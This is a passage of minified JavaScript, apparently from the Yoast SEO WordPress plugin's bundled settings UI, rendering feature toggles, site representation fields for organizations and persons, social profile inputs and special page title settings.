yst-mb-8"},(0,e.createElement)(l.Title,{as:"h2",size:"2"},(0,Lt.__)("Writing","wordpress-seo"))),(0,e.createElement)("div",{className:c},(0,e.createElement)(Fl,{name:"wpseo.keyword_analysis_active",cardId:"card-wpseo-keyword_analysis_active",inputId:"input-wpseo-keyword_analysis_active",imageSrc:"/images/seo_analysis.png",title:(0,Lt.__)("SEO analysis","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("The SEO analysis offers suggestions to improve the findability of your text and makes sure that your content meets best practices.","wordpress-seo")),(0,e.createElement)($l,{id:"link-seo-analysis",link:"https://yoa.st/2ak",ariaLabel:(0,Lt.__)("SEO analysis","wordpress-seo")})),(0,e.createElement)(Fl,{name:"wpseo.content_analysis_active",cardId:"card-wpseo-content_analysis_active",inputId:"input-wpseo-content_analysis_active",imageSrc:"/images/readability_analysis.png",title:(0,Lt.__)("Readability analysis","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("The readability analysis offers suggestions to improve the structure and style of your text.","wordpress-seo")),(0,e.createElement)($l,{id:"link-readability-analysis",link:"https://yoa.st/2ao",ariaLabel:(0,Lt.__)("Readability analysis","wordpress-seo")})),(0,e.createElement)(Fl,{name:"wpseo.inclusive_language_analysis_active",cardId:"card-wpseo-inclusive_language_analysis_active",inputId:"input-wpseo-inclusive_language_analysis_active",imageSrc:"/images/inclusive_language_analysis.png",title:(0,Lt.__)("Inclusive language analysis","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("The inclusive language analysis offers suggestions to write more inclusive copy, so more people will be able to relate to your content.","wordpress-seo")),(0,e.createElement)($l,{id:"link-inclusive-language-analysis",link:"https://yoa.st/inclusive-language-feature-learn-more",ariaLabel:(0,Lt.__)("Inclusive language analysis","wordpress-seo")})),(0,e.createElement)(Fl,{name:"wpseo.enable_ai_generator",cardId:"card-wpseo-enable_ai_generator",inputId:"input-wpseo-enable_ai_generator",imageSrc:"/images/ai-generator.png",isPremiumFeature:!0,hasPremiumBadge:!1,isBetaFeature:!0,isPremiumLink:"https://yoa.st/get-ai-generator",title:"Yoast AI"},(0,e.createElement)("p",null,(0,Lt.__)("The AI features help you create better content by providing optimization suggestions that you can apply as you wish.","wordpress-seo")),(0,e.createElement)($l,{id:"link-ai-generator",link:"https://yoa.st/ai-generator-feature",ariaLabel:(0,Lt.__)("AI title & description generator","wordpress-seo")})),(0,e.createElement)(Fl,{name:"wpseo.enable_metabox_insights",cardId:"card-wpseo-enable_metabox_insights",inputId:"input-wpseo-enable_metabox_insights",imageSrc:"/images/insights.png",title:(0,Lt.__)("Insights","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("Get more insights into what you are writing. What words do you use most often? How much time does it take to read your text? Is your text easy to read?","wordpress-seo")),(0,e.createElement)($l,{id:"link-insights",link:"https://yoa.st/4ew",ariaLabel:(0,Lt.__)("Insights","wordpress-seo")})))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)("fieldset",{className:"yst-min-w-0"},(0,e.createElement)("legend",{className:"yst-sr-only"},(0,Lt.__)("Site structure","wordpress-seo")),(0,e.createElement)("div",{className:"yst-max-w-screen-sm yst-mb-8"},(0,e.createElement)(l.Title,{as:"h2",size:"2"},(0,Lt.__)("Site structure","wordpress-seo"))),(0,e.createElement)("div",{className:c},(0,e.createElement)(Fl,{name:"wpseo.enable_cornerstone_content",cardId:"card-wpseo-enable_cornerstone_content",inputId:"input-wpseo-enable_cornerstone_content",imageSrc:"/images/cornerstone_content.png",title:(0,Lt.__)("Cornerstone content","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("Mark and filter your cornerstone content to make sure your most important articles get the attention they deserve. To help you write excellent copy, we’ll assess your text more strictly.","wordpress-seo")),(0,e.createElement)($l,{id:"link-cornerstone-content",link:"https://yoa.st/dashboard-help-cornerstone",ariaLabel:(0,Lt.__)("Cornerstone content","wordpress-seo")})),(0,e.createElement)(Fl,{name:"wpseo.enable_text_link_counter",cardId:"card-wpseo-enable_text_link_counter",inputId:"input-wpseo-enable_text_link_counter",imageSrc:"/images/text_link_counter.png",title:(0,Lt.__)("Text link counter","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("Count the number of internal links from and to your posts to improve your site structure.","wordpress-seo")),(0,e.createElement)($l,{id:"link-text-link-counter",link:"https://yoa.st/2aj",ariaLabel:(0,Lt.__)("Text link counter","wordpress-seo")})),(0,e.createElement)(Fl,{name:"wpseo.enable_link_suggestions",cardId:"card-wpseo-enable_link_suggestions",inputId:"input-wpseo-enable_link_suggestions",imageSrc:"/images/link_suggestions.png",isPremiumFeature:!0,hasPremiumBadge:!0,isPremiumLink:"https://yoa.st/get-link-suggestions",title:(0,Lt.__)("Internal linking suggestions","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("No need to figure out what to link to. You get linking suggestions for relevant posts and pages to make your website easier to navigate.","wordpress-seo")),(0,e.createElement)($l,{id:"link-suggestions-link",link:t?"https://yoa.st/17g":"https://yoa.st/4ev",ariaLabel:(0,Lt.__)("Link suggestions","wordpress-seo")})))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)("fieldset",{id:"section-social-sharing",className:"yst-min-w-0"},(0,e.createElement)("legend",{className:"yst-sr-only"},(0,Lt.__)("Social sharing","wordpress-seo")),(0,e.createElement)("div",{className:"yst-max-w-screen-sm yst-mb-8"},(0,e.createElement)(l.Title,{as:"h2",size:"2",className:"yst-mb-2"},(0,Lt.__)("Social sharing","wordpress-seo"))),(0,e.createElement)("div",{className:c},(0,e.createElement)(Fl,{name:"wpseo_social.opengraph",cardId:"card-wpseo_social-opengraph",inputId:"input-wpseo_social-opengraph",imageSrc:"/images/open_graph.png",title:(0,Lt.__)("Open Graph data","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("Allows for Facebook and other social media to display a preview with images and a text excerpt when a link to your site is shared. Keep this feature enabled to optimize your site for social media.","wordpress-seo")),(0,e.createElement)($l,{id:"link-open-graph-data",link:"https://yoa.st/site-features-open-graph-data",ariaLabel:(0,Lt.__)("Open Graph data","wordpress-seo")})),(0,e.createElement)(Fl,{name:"wpseo_social.twitter",cardId:"card-wpseo_social-twitter",inputId:"input-wpseo_social-twitter",imageSrc:"/images/twitter_card.png",title:(0,Lt.__)("X card data","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("Allows for X to display a preview with images and a text excerpt when a link to your site is shared.","wordpress-seo")),(0,e.createElement)($l,{id:"link-twitter-card-data",link:"https://yoa.st/site-features-twitter-card-data",ariaLabel:(0,Lt.__)("X card data","wordpress-seo")})),(0,e.createElement)(Fl,{name:"wpseo.enable_enhanced_slack_sharing",cardId:"card-wpseo-enable_enhanced_slack_sharing",inputId:"input-wpseo-enable_enhanced_slack_sharing",imageSrc:"/images/slack_sharing.png",title:(0,Lt.__)("Slack sharing","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("This adds an author byline and reading time estimate to the article’s snippet when shared on Slack.","wordpress-seo")),(0,e.createElement)($l,{id:"link-slack-sharing",link:"https://yoa.st/help-slack-share",ariaLabel:(0,Lt.__)("Slack sharing","wordpress-seo")})))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)("fieldset",{className:"yst-min-w-0"},(0,e.createElement)("legend",{className:"yst-sr-only"},(0,Lt.__)("Tools","wordpress-seo")),(0,e.createElement)("div",{className:"yst-max-w-screen-sm yst-mb-8"},(0,e.createElement)(l.Title,{as:"h2",size:"2"},(0,Lt.__)("Tools","wordpress-seo"))),(0,e.createElement)("div",{className:c},(0,e.createElement)(Fl,{name:"wpseo.enable_admin_bar_menu",cardId:"card-wpseo-enable_admin_bar_menu",inputId:"input-wpseo-enable_admin_bar_menu",imageSrc:"/images/admin_bar.png",title:(0,Lt.__)("Admin bar menu","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.sprintf)(
// translators: %1$s expands to Yoast.
(0,Lt.__)("The %1$s icon in the top admin bar provides quick access to third-party tools for analyzing pages and makes it easy to see if you have new notifications.","wordpress-seo"),"Yoast")),(0,e.createElement)($l,{id:"link-admin-bar",link:"https://yoa.st/site-features-admin-bar",ariaLabel:(0,Lt.__)("Admin bar menu","wordpress-seo")})))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)("fieldset",{className:"yst-min-w-0"},(0,e.createElement)("legend",{className:"yst-sr-only"},(0,Lt.__)("APIs","wordpress-seo")),(0,e.createElement)("div",{className:"yst-max-w-screen-sm yst-mb-8"},(0,e.createElement)(l.Title,{as:"h2",size:"2"},(0,Lt.__)("APIs","wordpress-seo"))),(0,e.createElement)("div",{className:c},(0,e.createElement)(Fl,{name:"wpseo.enable_headless_rest_endpoints",cardId:"card-wpseo-enable_headless_rest_endpoints",inputId:"input-wpseo-enable_headless_rest_endpoints",imageSrc:"/images/rest_api.png",title:(0,Lt.__)("REST API endpoint","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("This Yoast SEO REST API endpoint gives you all the metadata you need for a specific URL. This will make it very easy for headless WordPress sites to use Yoast SEO for all their SEO meta output.","wordpress-seo")),(0,e.createElement)($l,{id:"link-rest-api-endpoint",link:"https://yoa.st/site-features-rest-api-endpoint",ariaLabel:(0,Lt.__)("REST API endpoint","wordpress-seo")})),(0,e.createElement)(Fl,{name:"wpseo.enable_xml_sitemap",cardId:"card-wpseo-enable_xml_sitemap",inputId:"input-wpseo-enable_xml_sitemap",imageSrc:"/images/xml_sitemaps.png",title:(0,Lt.__)("XML sitemaps","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.sprintf)(
// translators: %1$s expands to "Yoast SEO".
(0,Lt.__)("Enable the %1$s XML sitemaps. A sitemap is a file that lists a website's essential pages to make sure search engines can find and crawl them.","wordpress-seo"),"Yoast SEO")),n&&o&&(0,e.createElement)(l.Button,{as:"a",id:"link-xml-sitemaps",href:s,variant:"secondary",target:"_blank",rel:"noopener",className:"yst-self-start"},(0,Lt.__)("View the XML sitemap","wordpress-seo"),(0,e.createElement)(Tl,{className:"yst--mr-1 yst-ml-1 yst-h-5 yst-w-5 yst-text-slate-400"})),(0,e.createElement)($l,{id:"link-xml-sitemaps-learn-more",link:"https://yoa.st/2a-",ariaLabel:(0,Lt.__)("XML sitemaps","wordpress-seo")})),(0,e.createElement)(Fl,{name:"wpseo.enable_index_now",cardId:"card-wpseo-enable_index_now",inputId:"input-wpseo-enable_index_now",imageSrc:"/images/indexnow.png",isPremiumFeature:!0,hasPremiumBadge:!0,isPremiumLink:"https://yoa.st/get-indexnow",title:(0,Lt.__)("IndexNow","wordpress-seo")},(0,e.createElement)("p",null,(0,Lt.__)("Automatically ping search engines like Bing and Yandex whenever you publish, update or delete a post.","wordpress-seo")),(0,e.createElement)($l,{id:"link-index-now",link:"https://yoa.st/index-now-feature",ariaLabel:(0,Lt.__)("IndexNow","wordpress-seo")})))))))},Rl=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"}))})),Nl=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{fillRule:"evenodd",d:"M10 3a1 1 0 011 1v5h5a1 1 0 110 2h-5v5a1 1 0 11-2 0v-5H4a1 1 0 110-2h5V4a1 1 0 011-1z",clipRule:"evenodd"}))})),Il=Ca(Da),Ol=Aa(Ia),Cl=()=>{const{values:t}=q(),{website_name:s,company_or_person:r,company_or_person_user_id:a,company_name:o,company_logo_id:n}=t.wpseo_titles,{other_social_urls:c}=t.wpseo_social,d=aa("selectUserById",[a],a),u=aa("selectLink",[],"https://yoa.st/1-p"),p=aa("selectLink",[],"https://yoa.st/3r3"),m=aa("selectLink",[],"https://yoa.st/site-representation-org-additional-info-upsell"),f=aa("selectLink",[],"https://yoa.st/site-representation-org-identifiers"),h=aa("selectLink",[],"https://yoa.st/site-representation-organization-person"),y=aa("selectPreference",[],"editUserUrl"),_=aa("selectPreference",[],"isLocalSeoActive"),w=aa("selectPreference",[],"companyOrPersonMessage"),g=aa("selectFallback",[],"siteLogoId"),b=aa("selectCanEditUser",[null==d?void 0:d.id],null==d?void 0:d.id),v=aa("selectPreference",[],"isPremium"),E=aa("selectUpsellSettingsAsProps"),x=aa("selectLink",[],"https://yoa.st/get-mastodon-integration"),k=aa("selectLink",[],"https://yoa.st/site-representation-mastodon"),S=aa("selectPreference",[],"localSeoPageSettingUrl");let L=(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands for Yoast Local SEO, %2$s and %3$s expands to a link tags. */
(0,Lt.__)("You have %1$s activated on your site. You can provide your VAT ID and Tax ID in the %2$s‘Business info’ settings%3$s.","wordpress-seo"),"Yoast Local SEO","<a>","</a>"),{a:(0,e.createElement)("a",{href:S,target:"_blank",className:"yst-underline yst-font-medium"})}),T=(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands for Yoast Local SEO, %2$s and %3$s expands to a link tags. */
(0,Lt.__)("You have %1$s activated on your site. You can provide your email and phone in the %2$s‘Business info’ settings%3$s.","wordpress-seo"),"Yoast Local SEO","<a>","</a>"),{a:(0,e.createElement)("a",{href:S,target:"_blank",className:"yst-underline yst-font-medium"})});S.includes("wpseo_locations")&&(L=(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands for Yoast Local SEO, %2$s and %3$s expands to a link tags. */
(0,Lt.__)("You have %1$s activated on your site, and you've configured your business for multiple locations. This allows you to provide your VAT ID and Tax ID for %2$seach specific location%3$s.","wordpress-seo"),"Yoast Local SEO","<a>","</a>"),{a:(0,e.createElement)("a",{href:S,target:"_blank",className:"yst-underline yst-font-medium"})}),T=(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands for Yoast Local SEO, %2$s and %3$s expands to a link tags. */
(0,Lt.__)("You have %1$s activated on your site, and you've configured your business for multiple locations. This allows you to provide your email and phone for %2$seach specific location%3$s.","wordpress-seo"),"Yoast Local SEO","<a>","</a>"),{a:(0,e.createElement)("a",{href:S,target:"_blank",className:"yst-underline yst-font-medium"})}));const F=(0,i.useCallback)((async e=>{var t;await e.push(""),null===(t=document.getElementById(`input-wpseo_social-other_social_urls-${c.length}`))||void 0===t||t.focus()}),[c]);return(0,e.createElement)(uo,{title:(0,Lt.__)("Site representation","wordpress-seo"),description:Xi((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags.
(0,Lt.__)("This info is intended to appear in %1$sGoogle's Knowledge Graph%2$s.","wordpress-seo"),"<a>","</a>"),u,"link-google-knowledge-graph")},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)(na,{title:(0,Lt.__)("Organization/person","wordpress-seo"),description:Xi((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags.
(0,Lt.__)("Choose whether your site represents an organization or a person. %1$sLearn more about the differences and choosing between Organization and Person%2$s.","wordpress-seo"),"<a>","</a>"),h,"link-site-representation-organization-person")},_&&(0,e.createElement)(l.Alert,{id:"alert-local-seo-company-or-person",variant:"info"},w),(0,e.createElement)(l.RadioGroup,{disabled:_},(0,e.createElement)(te,{as:l.Radio,type:"radio",name:"wpseo_titles.company_or_person",id:"input-wpseo_titles-company_or_person-company",label:(0,Lt.__)("Organization","wordpress-seo"),value:"company",disabled:_}),(0,e.createElement)(te,{as:l.Radio,type:"radio",name:"wpseo_titles.company_or_person",id:"input-wpseo_titles-company_or_person-person",label:(0,Lt.__)("Person","wordpress-seo"),value:"person",disabled:_}))),(0,e.createElement)("section",{className:"yst-space-y-8"}),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)("div",{className:"yst-relative"},(0,e.createElement)(ia.Z,{easing:"ease-out",duration:300,delay:300,height:"company"===r?"auto":0,animateOpacity:!0},(0,e.createElement)(na,{title:(0,Lt.__)("Organization","wordpress-seo"),description:(0,Lt.__)("Please tell us more about your organization. This information will help Google to understand your website, and improve your chance of getting rich results.","wordpress-seo")},(!o||n<1)&&(0,e.createElement)(l.Alert,{id:"alert-organization-name-logo",variant:"info"},Xi((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags.
(0,Lt.__)("An organization name and logo need to be set for structured data to work properly. Since you haven’t set these yet, we are using the site name and logo as default values. %1$sLearn more about the importance of structured data%2$s.","wordpress-seo"),"<a>","</a>"),p,"link-structured-data")),(0,e.createElement)(te,{as:l.TextField,name:"wpseo_titles.company_name",id:"input-wpseo_titles-company_name",label:(0,Lt.__)("Organization name","wordpress-seo"),placeholder:s}),(0,e.createElement)(te,{as:l.TextField,name:"wpseo_titles.company_alternate_name",id:"input-wpseo_titles-company_alternate_name",label:(0,Lt.__)("Alternate organization name","wordpress-seo"),description:(0,Lt.__)("Use the alternate organization name for acronyms, or a shorter version of your organization's name.","wordpress-seo")}),(0,e.createElement)(ha,{id:"wpseo_titles-company_logo",label:(0,Lt.__)("Organization logo","wordpress-seo"),variant:"square",previewLabel:(0,i.createInterpolateElement)((0,Lt.sprintf)(
// translators: %1$s expands to an opening strong tag.
(0,Lt.__)("Recommended size for this image is %1$s%3$s%2$s","wordpress-seo"),"<strong>","</strong>","696x696px"),{strong:(0,e.createElement)("strong",{className:"yst-font-semibold"})}),mediaUrlName:"wpseo_titles.company_logo",mediaIdName:"wpseo_titles.company_logo_id",fallbackMediaId:g})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{id:"fieldset-wpseo_social-other_social_urls",title:(0,Lt.__)("Other profiles","wordpress-seo"),description:(0,Lt.__)("Tell us if you have any other profiles on the web that belong to your organization. This can be any number of profiles, like YouTube, LinkedIn, Pinterest, or even Wikipedia.","wordpress-seo")},(0,e.createElement)(Da,{as:l.TextField,name:"wpseo_social.facebook_site",id:"input-wpseo_social-facebook_site",label:(0,Lt.__)("Facebook","wordpress-seo"),placeholder:(0,Lt.__)("E.g. https://facebook.com/yoast","wordpress-seo")}),(0,e.createElement)(Da,{as:l.TextField,name:"wpseo_social.twitter_site",id:"input-wpseo_social-twitter_site",label:(0,Lt.__)("X","wordpress-seo"),placeholder:(0,Lt.__)("E.g. https://x.com/yoast","wordpress-seo")}),(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!v,variant:"card",cardLink:x,cardText:(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...E},(0,e.createElement)(Il,{as:l.TextField,name:"wpseo_social.mastodon_url",id:"input-wpseo_social-mastodon_url",label:(0,Lt.__)("Mastodon","wordpress-seo"),placeholder:(0,Lt.__)("E.g. https://mastodon.social/@yoast","wordpress-seo"),labelSuffix:v&&(0,e.createElement)(l.Badge,{className:"yst-ml-1.5",size:"small",variant:"upsell"},"Premium"),isDummy:!v,description:(0,e.createElement)(i.Fragment,null,(0,Lt.__)("Get your site verified in your Mastodon profile.","wordpress-seo")," ",(0,e.createElement)(l.Link,{id:"link-wpseo_social-mastodon_url",href:k,target:"_blank",rel:"noopener"},(0,Lt.__)("Read more about how to get your site verified.","wordpress-seo")))})),(0,e.createElement)(ie,{name:"wpseo_social.other_social_urls"},(t=>(0,e.createElement)(i.Fragment,null,c.map(((s,r)=>(0,e.createElement)(Js,{key:`wpseo_social.other_social_urls.${r}`,as:i.Fragment,appear:!0,show:!0,enter:"yst-transition yst-ease-out yst-duration-300",enterFrom:"yst-transform yst-opacity-0",enterTo:"yst-transform yst-opacity-100",leave:"yst-transition yst-ease-out yst-duration-300",leaveFrom:"yst-transform yst-opacity-100",leaveTo:"yst-transform yst-opacity-0"},(0,e.createElement)("div",{className:"yst-w-full yst-flex yst-items-start yst-gap-2"},(0,e.createElement)(Da,{as:l.TextField,name:`wpseo_social.other_social_urls.${r}`,id:`input-wpseo_social-other_social_urls-${r}`,label:(0,Lt.sprintf)((0,Lt.__)("Other profile %1$s","wordpress-seo"),r+1),placeholder:(0,Lt.__)("E.g. https://example.com/yoast","wordpress-seo"),className:"yst-grow"}),(0,e.createElement)(l.Button,{variant:"secondary",onClick:t.remove.bind(null,r),className:"yst-mt-7 yst-p-2.5","aria-label":(0,Lt.sprintf)((0,Lt.__)("Remove Other profile %1$s","wordpress-seo"),r+1)},(0,e.createElement)(Rl,{className:"yst-h-5 yst-w-5"})))))),(0,e.createElement)(l.Button,{id:"button-add-social-profile",variant:"secondary",onClick:()=>F(t)},(0,e.createElement)(Nl,{className:"yst--ml-1 yst-mr-1 yst-h-5 yst-w-5 yst-text-slate-400"}),(0,Lt.__)("Add another profile","wordpress-seo")))))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,e.createElement)(i.Fragment,null,(0,Lt.__)("Additional organization info","wordpress-seo"),v&&(0,e.createElement)(l.Badge,{className:"yst-ml-1.5",size:"small",variant:"upsell"},"Premium")),description:(0,Lt.__)("Enrich your organization's profile by providing more in-depth information. The more details you share, the better Google understands your website.","wordpress-seo")},(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!v,variant:"card",cardLink:m,cardText:(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...E},(0,e.createElement)(Il,{as:l.TextareaField,name:"wpseo_titles.org-description",id:"input-wpseo_titles-org-description",label:(0,Lt.__)("Organization description","wordpress-seo"),isDummy:!v,maxLength:2e3}),_&&v&&(0,e.createElement)(l.Alert,{id:"alert-local-seo-vat-or-tax-id",variant:"info"},T),(0,e.createElement)(Il,{as:l.TextField,name:"wpseo_titles.org-email",id:"input-wpseo_titles-org-email",type:"email",label:(0,Lt.__)("Organization email address","wordpress-seo"),isDummy:!v||_}),(0,e.createElement)(Il,{as:l.TextField,name:"wpseo_titles.org-phone",id:"input-wpseo_titles-org-phone",label:(0,Lt.__)("Organization phone number","wordpress-seo"),isDummy:!v||_}),(0,e.createElement)(Il,{as:l.TextField,name:"wpseo_titles.org-legal-name",id:"input-wpseo_titles-org-legal-name",label:(0,Lt.__)("Organization's legal name","wordpress-seo"),isDummy:!v}),(0,e.createElement)(Il,{as:l.TextField,className:"yst-w-3/5",name:"wpseo_titles.org-founding-date",id:"input-wpseo_titles-org-founding-date",label:(0,Lt.__)("Organization's founding date","wordpress-seo"),type:"date",isDummy:!v}),(0,e.createElement)(Ol,{name:"wpseo_titles.org-number-employees",className:"yst-w-3/5",id:"input-wpseo_titles-org-number-employees",label:(0,Lt.__)("Number of employees","wordpress-seo"),placeholder:(0,Lt.__)("Select a range / Enter a number","wordpress-seo"),isDummy:!v,options:[{value:"",label:"None"},{value:"1-10",label:(0,Lt.__)("1-10 employees","wordpress-seo")},{value:"11-50",label:(0,Lt.__)("11-50 employees","wordpress-seo")},{value:"51-200",label:(0,Lt.__)("51-200 employees","wordpress-seo")},{value:"201-500",label:(0,Lt.__)("201-500 employees","wordpress-seo")},{value:"501-1000",label:(0,Lt.__)("501-1000 employees","wordpress-seo")},{value:"1001-5000",label:(0,Lt.__)("1001-5000 employees","wordpress-seo")},{value:"5001-10000",label:(0,Lt.__)("5001-10000 employees","wordpress-seo")}]}))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,e.createElement)(i.Fragment,null,(0,Lt.__)("Organization identifiers","wordpress-seo"),v&&(0,e.createElement)(l.Badge,{className:"yst-ml-1.5",size:"small",variant:"upsell"},"Premium")),description:(0,Lt.__)("Please tell us more about your organization’s identifiers. This information will help Google to display accurate and helpful details about your organization.","wordpress-seo")},(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!v,variant:"card",cardLink:f,cardText:(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...E},_&&v&&(0,e.createElement)(l.Alert,{id:"alert-local-seo-vat-or-tax-id",variant:"info"},L),(0,e.createElement)(Il,{as:l.TextField,name:"wpseo_titles.org-vat-id",id:"input-wpseo_titles-org-vat-id",label:(0,Lt.__)("VAT ID","wordpress-seo"),isDummy:!v||_}),(0,e.createElement)(Il,{as:l.TextField,name:"wpseo_titles.org-tax-id",id:"input-wpseo_titles-org-tax-id",label:(0,Lt.__)("Tax ID","wordpress-seo"),isDummy:!v||_}),(0,e.createElement)(Il,{as:l.TextField,name:"wpseo_titles.org-iso",id:"input-wpseo_titles-org-iso",label:(0,Lt.__)("ISO 6523","wordpress-seo"),isDummy:!v}),(0,e.createElement)(Il,{as:l.TextField,name:"wpseo_titles.org-duns",id:"input-wpseo_titles-org-duns",label:(0,Lt.__)("DUNS","wordpress-seo"),isDummy:!v}),(0,e.createElement)(Il,{as:l.TextField,name:"wpseo_titles.org-leicode",id:"input-wpseo_titles-org-leicode",label:(0,Lt.__)("LEI code","wordpress-seo"),isDummy:!v}),(0,e.createElement)(Il,{as:l.TextField,name:"wpseo_titles.org-naics",id:"input-wpseo_titles-org-naics",label:(0,Lt.__)("NAICS","wordpress-seo"),isDummy:!v})))),(0,e.createElement)(ia.Z,{easing:"ease-out",duration:300,delay:300,height:"person"===r?"auto":0,animateOpacity:!0},(0,e.createElement)(na,{title:(0,Lt.__)("Personal info","wordpress-seo"),description:(0,Lt.__)("Please tell us more about the person this site represents.","wordpress-seo")},(0,e.createElement)(Sa,{name:"wpseo_titles.company_or_person_user_id",id:"input-wpseo_titles-company_or_person_user_id",label:(0,Lt.__)("Select a user","wordpress-seo"),className:"yst-max-w-sm"}),!(0,le.isEmpty)(d)&&(0,e.createElement)(l.Alert,{id:"alert-person-user-profile"},b&&(0,i.createInterpolateElement)((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <span> tags.
(0,Lt.__)("You have selected the user %1$s%5$s%2$s as the person this site represents. Their user profile information will now be used in search results. %3$sUpdate their profile to make sure the information is correct%4$s.","wordpress-seo"),"<strong>","</strong>","<a>","</a>",null==d?void 0:d.name),{strong:(0,e.createElement)("strong",{className:"yst-font-medium"}),a:(0,e.createElement)("a",{id:"link-person-user-profile",href:`${y}?user_id=${null==d?void 0:d.id}`,target:"_blank",rel:"noopener noreferrer"})}),!b&&(0,i.createInterpolateElement)((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <span> tags.
(0,Lt.__)("You have selected the user %1$s%3$s%2$s as the person this site represents. Their user profile information will now be used in search results. We're sorry, you're not allowed to edit this user's profile. Please contact your admin or %1$s%3$s%2$s to check and/or update the profile.","wordpress-seo"),"<strong>","</strong>",null==d?void 0:d.name),{strong:(0,e.createElement)("strong",{className:"yst-font-medium"})})),(0,e.createElement)(ha,{id:"wpseo_titles-person_logo",label:(0,Lt.__)("Personal logo or avatar","wordpress-seo"),variant:"square",previewLabel:(0,i.createInterpolateElement)((0,Lt.sprintf)(
// translators: %1$s expands to an opening strong tag.
(0,Lt.__)("Recommended size for this image is %1$s%3$s%2$s","wordpress-seo"),"<strong>","</strong>","696x696px"),{strong:(0,e.createElement)("strong",{className:"yst-font-semibold"})}),mediaUrlName:"wpseo_titles.person_logo",mediaIdName:"wpseo_titles.person_logo_id",fallbackMediaId:g,disabled:!a})))))))},Al=()=>{const t=aa("selectReplacementVariablesFor",[],"search","search"),s=aa("selectRecommendedReplacementVariablesFor",[],"search","search"),r=aa("selectReplacementVariablesFor",[],"404","404"),a=aa("selectRecommendedReplacementVariablesFor",[],"404","404");return(0,e.createElement)(uo,{title:(0,Lt.__)("Special pages","wordpress-seo")},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)(na,{title:(0,Lt.__)("Internal search pages","wordpress-seo"),description:(0,Lt.__)("Determine how the title of your internal search pages should look in the browser.","wordpress-seo")},(0,e.createElement)(wa,{type:"title",name:"wpseo_titles.title-search-wpseo",fieldId:"input-wpseo_titles-title-search-wpseo",label:(0,Lt.__)("Page title","wordpress-seo"),replacementVariables:t,recommendedReplacementVariables:s})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("404 error pages","wordpress-seo"),description:(0,Lt.__)("Determine how the title of your 404 error pages should look in the browser.","wordpress-seo")},(0,e.createElement)(wa,{type:"title",name:"wpseo_titles.title-404-wpseo",fieldId:"input-wpseo_titles-title-404-wpseo",label:(0,Lt.__)("Page title","wordpress-seo"),replacementVariables:r,recommendedReplacementVariables:a})))))},Ml=/content=(['"])?(?<content>[^'"> ]+)(?:\1|[ />])/,Dl=e=>{var t;const s=e.target.value.match(Ml);return null!=s&&null!==(t=s.groups)&&void 0!==t&&t.content?s.groups.content:e.target.value},Bl=Ma(Ra),Ul=()=>{const t=aa("selectPreference",[],"siteUrl");return(0,e.createElement)(uo,{title:(0,Lt.__)("Site connections","wordpress-seo"),description:(0,Lt.__)("Verify your site with different tools. This will add a verification meta tag to your homepage. You can find instructions on how to verify your site for each platform by following the link in the description.","wordpress-seo")},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)("fieldset",{className:"yst-min-width-0 yst-max-w-screen-sm 